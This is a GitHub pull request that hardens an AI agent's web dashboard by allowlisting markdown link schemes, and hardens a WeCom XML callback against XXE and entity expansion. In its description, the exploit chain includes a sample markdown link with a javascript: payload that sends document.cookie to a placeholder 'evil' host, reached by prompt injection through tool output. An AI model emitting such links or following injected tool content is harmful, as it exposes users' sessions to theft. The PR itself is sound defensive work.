Skip to content

harden(dashboard,wecom): restrict markdown link schemes; safe-parse untrusted XML#32442

Merged
teknium1 merged 2 commits into
mainfrom
hermes/hermes-f9dd4507
May 26, 2026
Merged

harden(dashboard,wecom): restrict markdown link schemes; safe-parse untrusted XML#32442
teknium1 merged 2 commits into
mainfrom
hermes/hermes-f9dd4507

Conversation

@teknium1

Copy link
Copy Markdown
Contributor

Salvage of #32155 (@TheOnlyMika) plus a follow-up commit making the new dependency declarative.

What it fixes

Dashboard XSS via LLM markdown (web/src/components/Markdown.tsx):
The inline renderer rendered link hrefs verbatim into <a href>. SessionsPage.tsx feeds msg.content (tool output, assistant output — attacker-influenceable via prompt injection, compromised tool, hostile MCP response) into <Markdown>. Concrete chain: malicious tool result → assistant echoes [Click](javascript:fetch('//evil/'+document.cookie)) → user clicks → script runs in dashboard origin with full session/API access.

XXE / billion-laughs on WeCom callback (gateway/platforms/wecom_callback.py):
xml.etree.ElementTree.fromstring was called on the raw, pre-auth WeCom POST body in _decrypt_request and _build_event. Entity expansion fires before signature verification of the inner Encrypt blob.

Mechanism

  • Markdown: /^(https?:|mailto:)/i.test(href.trim()) allowlist. Other schemes (javascript:, data:, vbscript:, file:, blob:) and HTML-entity-encoded variants are dropped to plain text. Verified against: case-mixed, leading whitespace/BOM/ZWSP/SOH, percent-encoded — all blocked.
  • WeCom: defusedxml.ElementTree as ET is a drop-in for fromstring. defusedxml refuses entity declarations entirely (verified: billion-laughs and XXE both raise EntitiesForbidden).

Follow-up commit (chore)

The original PR hard-imports defusedxml at module top, which would crash any gateway running WeComCallback on installs that don't transitively pull defusedxml. The chore commit:

  • wraps the import in a try/except with a DEFUSEDXML_AVAILABLE flag, matching the file's existing aiohttp/httpx pattern
  • gates check_wecom_callback_requirements() on the flag so the gateway logs and skips the adapter instead of crashing
  • adds a [wecom] extra to pyproject.toml (defusedxml==0.7.1)
  • registers platform.wecom_callback in tools/lazy_deps.py so users get prompted to install it on first WeComCallback configuration, same pattern as discord/slack/matrix
  • regenerates uv.lock

Validation

  • 56/56 wecom tests pass (tests/gateway/test_wecom_callback.py + tests/gateway/test_wecom.py)
  • 61/61 lazy_deps tests pass
  • TypeScript tsc --noEmit clean across web/
  • E2E: defusedxml refuses billion-laughs + XXE with EntitiesForbidden; legit XML still parses; check_wecom_callback_requirements() correctly returns True with the dep, False without

Closes #32155.

TheOnlyMika and others added 2 commits May 25, 2026 23:17
…sedxml

Two small defensive-hardening changes:

- web/src/components/Markdown.tsx: render links only for http(s)/mailto
  schemes; other schemes (javascript:, data:, vbscript:) are dropped to
  plain text so a crafted link in rendered content can't execute on click.

- gateway/platforms/wecom_callback.py: parse the untrusted, pre-auth WeCom
  callback request body with defusedxml instead of xml.etree, blocking
  entity-expansion / billion-laughs (and XXE) on the parse path. defusedxml
  is already a dependency (uv.lock); response-building XML in
  wecom_crypto.py is unchanged (it is not parsed from untrusted input).

Verified: dashboard typechecks and builds; defusedxml blocks an
entity-expansion payload while valid WeCom envelopes still parse.
Follow-up on top of @TheOnlyMika's #32155 cherry-pick. The defusedxml
hardening import was unconditional, which would break the gateway for
anyone running a WeComCallback adapter without the (transitive-only)
defusedxml present.

- Wrap the import in the same try/except pattern as aiohttp/httpx in
  the same file. Sets DEFUSEDXML_AVAILABLE flag.
- Extend check_wecom_callback_requirements() to gate on the flag, so
  the gateway logs the actual missing dep and skips the adapter
  instead of crashing.
- Add [wecom] extra to pyproject.toml with defusedxml==0.7.1.
- Register platform.wecom_callback in tools/lazy_deps.py so users get
  prompted to install it on first WeComCallback configuration, same
  pattern as discord/slack/matrix.

defusedxml is still the right call for pre-auth XML parsing — this
commit just makes the dep declarative and recoverable instead of a
hard import-time crash.
@teknium1 teknium1 requested a review from a team May 26, 2026 06:22
@github-actions

Copy link
Copy Markdown
Contributor

🔎 Lint report: hermes/hermes-f9dd4507 vs origin/main

ruff

Total: 0 on HEAD, 0 on base (➖ 0)

🆕 New issues: none

✅ Fixed issues: none

Unchanged: 0 pre-existing issues carried over.

ty (type checker)

Total: 9358 on HEAD, 9355 on base (🆕 +3)

🆕 New issues (2):

Rule Count
unresolved-attribute 1
unresolved-import 1
First entries
gateway/platforms/wecom_callback.py:341: [unresolved-attribute] unresolved-attribute: Attribute `fromstring` is not defined on `None` in union `Unknown | None`
gateway/platforms/wecom_callback.py:25: [unresolved-import] unresolved-import: Cannot resolve imported module `defusedxml.ElementTree`

✅ Fixed issues: none

Unchanged: 4953 pre-existing issues carried over.

Diagnostics are surfaced as warnings — this check never fails the build.

@alt-glitch alt-glitch added type/security Security vulnerability or hardening P1 High — major feature broken, no workaround comp/gateway Gateway runner, session dispatch, delivery platform/wecom WeCom / WeChat Work adapter comp/tui Terminal UI (ui-tui/ + tui_gateway/) labels May 26, 2026
@teknium1 teknium1 merged commit 31c8d5f into main May 26, 2026
29 checks passed
@teknium1 teknium1 deleted the hermes/hermes-f9dd4507 branch May 26, 2026 06:30
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

comp/gateway Gateway runner, session dispatch, delivery comp/tui Terminal UI (ui-tui/ + tui_gateway/) P1 High — major feature broken, no workaround platform/wecom WeCom / WeChat Work adapter type/security Security vulnerability or hardening

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants